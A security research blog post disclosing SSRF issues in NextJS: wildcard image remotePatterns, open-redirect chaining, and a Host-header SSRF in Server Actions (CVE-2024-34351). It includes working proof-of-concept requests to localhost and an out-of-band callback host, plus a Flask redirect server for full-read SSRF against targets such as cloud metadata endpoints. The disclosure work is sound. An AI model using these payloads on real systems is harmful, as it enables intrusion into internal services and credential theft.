

Digging for SSRF in NextJS apps

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If you want to design a mostly static, modern landing page for your brand new business, what do you do? Ten years ago, it felt like every company was using a heavyweight CMS like Wordpress. As a hacker, the attack surface of CMS solutions is well understood. It feels like every day that some critical vulnerability is found in a CMS or CMS plugin.

However, in the modern era, companies are increasingly moving to more lightweight solutions. The past few years has seen an explosion of popularity in 'static' site generators, such as Nuxt, Hugo, and Gatsby. Perhaps the most popular of all is NextJS, which despite often being used for serving simple static content, has a plethora of server side features enabled by default. At Assetnote, we encounter sites running NextJS extremely often; in

this blog post we will detail some common misconfigurations we find in NextJS websites, along with a vulnerability we found in the framework.

The `_next/image` Component

NextJS has an image optimization component [built in](#) and enabled by default. The idea is straightforward; if you have a large image `duck.jpg` which you want to serve in a smaller size, or serve in a dynamic size, it would be wasteful to send the (possibly multi megabyte) image to the client and resize it using HTML; instead, you can write something in your React like:

```
<Image src="/duck.jpg" width={256} quality={75} alt="Picture of a duck" />
```

And it will be served to the client at the correct size. In addition, it can be cached, meaning the server does not have to resize the image on every request.

How does this work behind the scenes? In reality, NextJS exposes an api endpoint `_next/image`, which can then be used like follows:

```
https://example.com/_next/image?url=/duck.jpg&w=256&q=75
```

The Image component simply crafts a request like this and places it inside an ordinary `img` tag. When you visit this URL for the first time, NextJS makes a request to `//localhost/duck.jpg`, and, assuming an image exists at that url, resizes it using a server side image manipulation library before returning it to the user.

Of course, it's common to want to serve images from other domains. NextJS provides the `remotePatterns` functionality in the `next.config.js` file to do just that; by specifying a config item like:

```
images: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example.com', }, { protocol: 'https', hostname: 'third-party.com', }, ], },
```

You can now load images from `cdn.example.com` and `third-party.com`:

```
https://example.com/_next/image?url=https://cdn.example.com/i/rabbit.png&w=256&q=75
```

If you were a developer and you wanted to load an image from any site, you may simply whitelist every URL:

```
images: { remotePatterns: [ { protocol: "https", hostname: "**", }, { protocol: "http", hostname: "**", }, ], },
```

This may seem ludicrous, but [it's not that uncommon](#), especially since it's not clear that this is dangerous. However, this opens you up to a blind SSRF attack - you can simply load any local URL like:

```
https://example.com/_next/image?url=https://localhost:2345/api/v1/x&w=256&q=75
```

If the upstream response is a valid image, it will be passed to the user. There are a couple of rare conditions that this can be escalated further:

- If the version of NextJS is old, or `dangerouslyAllowSVG` is set to true, you can link to an SVG url hosted on your domain, leading to XSS.

- If the version of NextJS is old, or dangerouslyAllowSVG is set to true, you can leak the full content of XML responses via SSRF. This is because NextJS uses sniffing to determine the content type of the response even if a Content-Type header is provided, and to check for SVG NextJS simply checks the response starts with <?xml.
- If any internal host does not respond with a Content-Type, the full response will also be leaked. This is unlikely but sometimes happens with misconfigured proxies or the like.

A more common scenario is that some specific domains are whitelisted. However, the image renderer follows redirects. Thus if you were to find any open redirect on a whitelisted domain, you can turn this into a blind SSRF. For example, suppose third-party.com was whitelisted and you found an open redirect at third-party.com/logout?url=foo. You could then hit an internal server with SSRF with a request like:

```
https://example.com/_next/image?url=https://third-party.com/logout%3furl%3Dhttps%3A%2F%2Flocalhost%3A2345%2Fapi%2Fv1%2Ffx&w=256&q=75
```

Digging Deeper - SSRF in Server Actions

While many people think of NextJS as a 'client side' library, NextJS provides a fully featured server side framework with Server Actions. This allows writing JS code that will be executed asynchronously on the server when called. This allows developers to create APIs directly within NextJS without having to have a separate backend, and because it's part of the same codebase you get all the type safety associated with using TypeScript. However, this server side functionality provides a large attack surface for bugs.

While auditing the NextJS source, we came across something interesting. If you call a server action and it responds with a redirect, it calls the following function:

```
async function createRedirectRenderResult( req: IncomingMessage, res: ServerResponse,
redirectUrl: string, basePath: string, staticGenerationStore: StaticGenerationStore ) {
  res.setHeader('x-action-redirect', redirectUrl) // if we're redirecting to a relative
  path, we'll try to stream the response ` if (redirectUrl.startsWith('/')) { const
  forwardedHeaders = getForwardedHeaders(req, res) forwardedHeaders.set(RSC_HEADER,
  '1')
```

```
const host = req.headers['host'] const proto =
staticGenerationStore.incrementalCache?.requestProtocol || 'https' const fetchUrl = new
URL( `${proto}://${host}${basePath}${redirectUrl}` ) *// .. snip .. * try { const
headResponse = await fetch(fetchUrl, { method: 'HEAD', headers: forwardedHeaders,
next: { *// @ts-ignore * internal: 1, }, })
```

```
if ( headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER ) { const
response = await fetch(fetchUrl, { method: 'GET', headers: forwardedHeaders, next: { *//
@ts-ignore * internal: 1, }, }) *// .. snip .. * return new
FlightRenderResult(response.body!) } } catch (err) { *// .. snip .. * } }
return RenderResult.fromStatic('{}') } `
```

What is interesting is that instead of returning the redirect directly to the client, if the redirect starts with / (for example, a redirect to /login) the server will fetch the result of the redirect *_server side_*, then return it back to the client. However, looking closely, we see that the Host header is taken from the client:

```
const host = req.headers['host'] const proto =
staticGenerationStore.incrementalCache?.requestProtocol || 'https' const fetchUrl = new
URL( `${proto}://${host}${basePath}${redirectUrl}` )
```

This means that if we forge a host header pointing to an internal host, NextJS will try and fetch the response from that host instead of the app itself, leading to an SSRF.

To recap, to be vulnerable to this SSRF, we require that:

- A server action is defined;
- The server action redirects to a URL starting with /;
- We are able to specify a custom Host header while accessing the application.

Let's run through a simple example locally. Suppose we have an app with a simple search function that only works if the user is logged in:

```
`"use server";

import { redirect } from "next/navigation";

export const handleSearch = async (data: FormData) => { if (!userIsLoggedIn()) {
  redirect("/login"); return; } * // .. do other stuff .. * };

function userIsLoggedIn() { return false; } `
```

If we send a request to this search endpoint via the UI, we can intercept the request and see its structure:

```
`POST /en/search/hello HTTP/1.1 Host: localhost:3000 Content-Length: 375 Next-Router-
State-Tree:
%5B%22%22%2C%7B%22children%22%3A%5B%22en%22%2C%7B%22children%22%3A
%5B%22search%22%2C%7B%22children%22%3A%5B%5B%22search%22%2C%22hello%
22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22PAGE%22%2C%7B%7D%5D
%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D%7D%5D User-Agent: Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.6312.58 Safari/537.36 Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryU0TPI3bwEtnXc1vB Accept: text/x-component Next-Action:
15531bfa07ff11369239544516d26edbc537ff9c Origin: http://localhost:3000 Accept-
Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection:
close

< ... snip ... >
`
```

The important thing here is the Next-Action ID. This is used by NextJS to uniquely identify the action we want to take. In fact, the URL and path does not matter at all - as long as we pass the Next-Action header, we'll trigger the action.

To trigger the bug, let's use this Next-Action ID to create a minimal PoC:

```
`POST /x HTTP/1.1 Host: kwk4ufof0q3hdk5e46mpchscjia69uy.oastify.com Content-Length:
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/123.0.6312.58 Safari/537.36 Next-Action:
15531bfa07ff11369239544516d26edbc537ff9c Connection: close
{}`
```

Note that here, we have changed our host to our Burp Collaborator instance. And indeed, we can see we get a ping back - here's the request that NextJS sends to us:

```
HEAD /login HTTP/1.1 host: kwk4ufof0q3hdk5e46mpchscjia69uy.oastify.com connection:
close cache-control: no-cache, no-store, max-age=0, must-revalidate cookie: ; undefined
next-action: 15531bfa07ff11369239544516d26edbc537ff9c rsc: 1 user-agent: Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/123.0.6312.58 Safari/537.36 vary: RSC, Next-Router-State-Tree, Next-Router-
Prefetch, Next-Url x-action-redirect: /login x-action-revalidated: [[],0,0] x-forwarded-
for: ::ffff:127.0.0.1 x-forwarded-host: kwk4ufof0q3hdk5e46mpchscjia69uy.oastify.com x-
forwarded-port: 3000 x-forwarded-proto: http accept: */* accept-language: * sec-fetch-
mode: cors accept-encoding: gzip, deflate
```

We have a working blind SSRF! However, we can do better. Let's revisit the logic of exactly what requests NextJS makes:

```
try { const headResponse = await fetch(fetchUrl, { method: 'HEAD', headers:
forwardedHeaders, next: { // @ts-ignore ` internal: 1, }, })
if ( headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER ) { const
response = await fetch(fetchUrl, { method: 'GET', headers: forwardedHeaders, next: { *//
@ts-ignore * internal: 1, }, }) *// .. snip .. * return new
FlightRenderResult(response.body!) } } catch (err) { *// .. snip .. * } `
```

The logic is as follows:

- The server first does a preflight HEAD request to the URL.
- If the preflight returns a Content-Type header of RSC_CONTENT_TYPE_HEADER, which is text/x-component, then NextJS makes a GET request to the same URL.
- The content of that GET request is then returned in the response.

Of course, it's unlikely that any of our SSRF targets (like cloud metadata endpoints) would return that content type, so what can be done? We can satisfy these checks and turn our SSRF into a full read as follows:

- Set up a server that takes requests on any path.
- On any HEAD request, return a 200 with Content-Type: text/x-component.
- On a GET request, return a 302 to our intended SSRF target (such as metadata.internal or the like)
- When NextJS fetches from our server, it will satisfy the preflight check on our HEAD request, but will follow the redirect on GET, giving us a full read SSRF!

Here's a simple Flask example:

```
`from flask import Flask, Response, request, redirect app = Flask(name)  
@app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def catch(path): if  
request.method == 'HEAD': resp = Response("") resp.headers['Content-Type'] = 'text/x-  
component' return resp return redirect('https://example.com')  
,
```

Changing our Host header to point to our malicious Flask server then gives us the full content of example.com, as expected:

[\[image: image\].png](#)

We reported this SSRF to NextJS and it was fixed in v14.1.1.

This vulnerability was assigned CVE-2024-34351 and you can find the advisory here: <https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g>

Conclusion

As the world increasingly adopts static single-page apps and frameworks, it may be tempting to overlook testing them. The term 'static' might imply a lack of functionality and minimal risk. Yet, these frameworks often rely on numerous underlying APIs and logic, presenting a considerable attack surface.

Ultimately, vulnerabilities such as the one above highlight that modern frameworks are not a complete solution to the security challenges faced by earlier CMS technologies.



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[\[image: Adam Kues\]](#)%20(1).avif)

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